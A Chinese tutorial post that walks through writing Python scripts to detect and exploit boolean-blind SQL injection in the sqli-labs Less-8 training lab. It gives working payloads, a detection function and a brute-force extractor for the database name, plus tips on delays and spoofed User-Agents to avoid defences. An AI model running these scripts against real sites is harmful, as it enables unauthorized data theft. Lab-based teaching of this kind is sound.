从零编写SQL注入检测工具:Python实战sqli-labs第8关
第一次听说"POC"这个词是在某个技术论坛上,当时看到有人发帖说"求XX漏洞的POC",下面跟帖讨论热烈。作为一个刚学完Python基础的新手,我完全不明白他们在说什么,只觉得这似乎是某种高大上的黑客技术。后来才知道,POC(Proof of Concept)其实就是用代码验证漏洞存在的一段程序,而EXP(Exploit)则是利用漏洞进行攻击的代码。本文将带你用最基础的Python知识,从零开始编写一个检测SQL注入漏洞的POC,目标是对sqli-labs第8关进行自动化检测。
1. 理解SQL注入与POC原理
SQL注入是最常见的Web安全漏洞之一,攻击者通过在输入参数中插入恶意SQL代码,欺骗服务器执行非预期的数据库操作。sqli-labs是一个专门用于学习SQL注入的靶场环境,其中第8关是一个典型的基于布尔盲注的漏洞场景。
布尔盲注的特点是:
- 服务器不会直接返回数据库错误信息
- 页面只有"正常"和"异常"两种状态
- 需要通过真/假条件判断来逐位提取数据
编写POC的核心思路是:
- 构造包含SQL片段的特殊参数
- 发送到目标URL并获取响应
- 分析响应特征判断漏洞是否存在
2. 环境准备与工具选择
2.1 实验环境搭建
要实践本教程,你需要:
- 安装好的sqli-labs靶场(本地或远程)
- Python 3.6+环境
- requests库(用于HTTP请求)
安装requests库的命令:
pip install requests2.2 为什么选择requests库
对于初学者来说,requests库有诸多优势:
- API设计简单直观
- 自动处理URL编码、会话保持等细节
- 内置JSON解析、状态码检查等实用功能
- 社区支持强大,文档完善
对比其他HTTP客户端库:
| 库名称 | 学习曲线 | 功能完整性 | 适用场景 |
|---|---|---|---|
| urllib | 陡峭 | 基础 | 标准库需求场景 |
| httpx | 中等 | 全面 | 异步/HTTP2需求 |
| requests | 平缓 | 完善 | 快速开发、教学 |
3. 手工测试过程分析
在编写自动化POC前,我们先手工测试sqli-labs第8关:
- 正常访问:
http://localhost/sqli-labs/Less-8/?id=1 - 注入单引号:
http://localhost/sqli-labs/Less-8/?id=1' - 测试布尔条件:
- 真条件:
...?id=1' AND 1=1 --+(页面正常显示) - 假条件:
...?id=1' AND 1=2 --+(页面空白)
- 真条件:
注意:
--+是SQL注释语法,用于注释掉原查询后面的部分
通过观察可以发现:
- 当SQL条件为真时,页面返回正常内容
- 当SQL条件为假时,页面返回空白
- 这种差异可以作为漏洞存在的判断依据
4. 编写基础POC代码
现在我们将手工测试过程转化为Python代码:
import requests def check_sqli(url): # 构造测试payload true_payload = "?id=1' AND 1=1 --+" false_payload = "?id=1' AND 1=2 --+" # 发送请求 true_resp = requests.get(url + true_payload) false_resp = requests.get(url + false_payload) # 分析响应 if len(true_resp.text) > 0 and len(false_resp.text) == 0: print(f"[+] 漏洞存在: {url}") return True else: print(f"[-] 未检测到漏洞: {url}") return False # 测试代码 if __name__ == "__main__": target_url = "http://localhost/sqli-labs/Less-8/" check_sqli(target_url)这段代码实现了最基本的漏洞检测逻辑:
- 构造真/假两种条件的请求
- 比较响应内容的差异
- 根据差异判断漏洞是否存在
5. 增强POC的健壮性
基础版本虽然能用,但存在几个问题:
- 没有错误处理
- 无法应对网络波动
- 判断逻辑过于简单
改进后的版本:
import requests from urllib.parse import urljoin def enhanced_check_sqli(base_url, timeout=5): try: # 验证目标URL可达性 test_resp = requests.get(base_url, timeout=timeout) if test_resp.status_code != 200: print(f"[-] 目标不可达: HTTP {test_resp.status_code}") return False # 构造完整测试URL true_url = urljoin(base_url, "?id=1' AND 1=1 --+") false_url = urljoin(base_url, "?id=1' AND 1=2 --+") # 获取正常响应作为基准 normal_resp = requests.get(urljoin(base_url, "?id=1"), timeout=timeout) normal_length = len(normal_resp.text) # 发送测试请求 true_resp = requests.get(true_url, timeout=timeout) false_resp = requests.get(false_url, timeout=timeout) # 更精确的判断逻辑 true_positive = (len(true_resp.text) == normal_length) false_negative = (len(false_resp.text) != normal_length) if true_positive and false_negative: print(f"[+] 确认存在SQL注入漏洞: {base_url}") return True else: print(f"[-] 未检测到漏洞特征: {base_url}") return False except requests.exceptions.RequestException as e: print(f"[!] 请求失败: {str(e)}") return False # 使用示例 if __name__ == "__main__": target = "http://localhost/sqli-labs/Less-8/" enhanced_check_sqli(target)改进点包括:
- 使用urljoin处理URL拼接
- 添加超时和异常处理
- 引入正常响应作为基准比较
- 更精确的状态判断逻辑
6. 扩展功能:自动化信息提取
基础的漏洞检测之后,我们可以进一步提取数据库信息:
import requests import string def extract_data(target_url): # 获取正常响应长度作为基准 normal_len = len(requests.get(target_url + "?id=1").text) # 提取当前数据库名 db_name = "" print("[*] 开始提取数据库名...") for i in range(1, 20): found = False for char in string.ascii_lowercase + string.digits + "_": payload = f"?id=1' AND SUBSTRING(database(),{i},1)='{char}' --+" resp = requests.get(target_url + payload) if len(resp.text) == normal_len: db_name += char print(f"当前进度: {db_name}") found = True break if not found: break print(f"[+] 数据库名: {db_name}") return db_name # 使用前确保目标存在漏洞 if __name__ == "__main__": url = "http://localhost/sqli-labs/Less-8/" if enhanced_check_sqli(url): extract_data(url)这段代码实现了:
- 逐字符爆破数据库名
- 使用SUBSTRING函数提取特定位置字符
- 实时显示提取进度
7. 实际应用中的注意事项
在真实环境中使用这类工具时需要注意:
- 合法性:只对授权目标进行测试
- 请求频率:添加延迟避免触发防护机制
import time time.sleep(0.5) # 每次请求间隔0.5秒- 错误处理:完善各种异常情况的处理
- 日志记录:保存测试结果和过程
with open("scan_log.txt", "a") as f: f.write(f"{target_url} - Vulnerable: {result}\n")- 用户代理:设置合理的User-Agent
headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" } requests.get(url, headers=headers)编写POC最难的不是技术实现,而是如何让代码适应各种复杂环境。在实际项目中,我通常会先花时间研究目标系统的特点,然后调整检测逻辑。比如有些网站会对异常请求返回200状态码但显示错误页面,这时就不能简单地通过状态码判断,而要分析页面内容特征。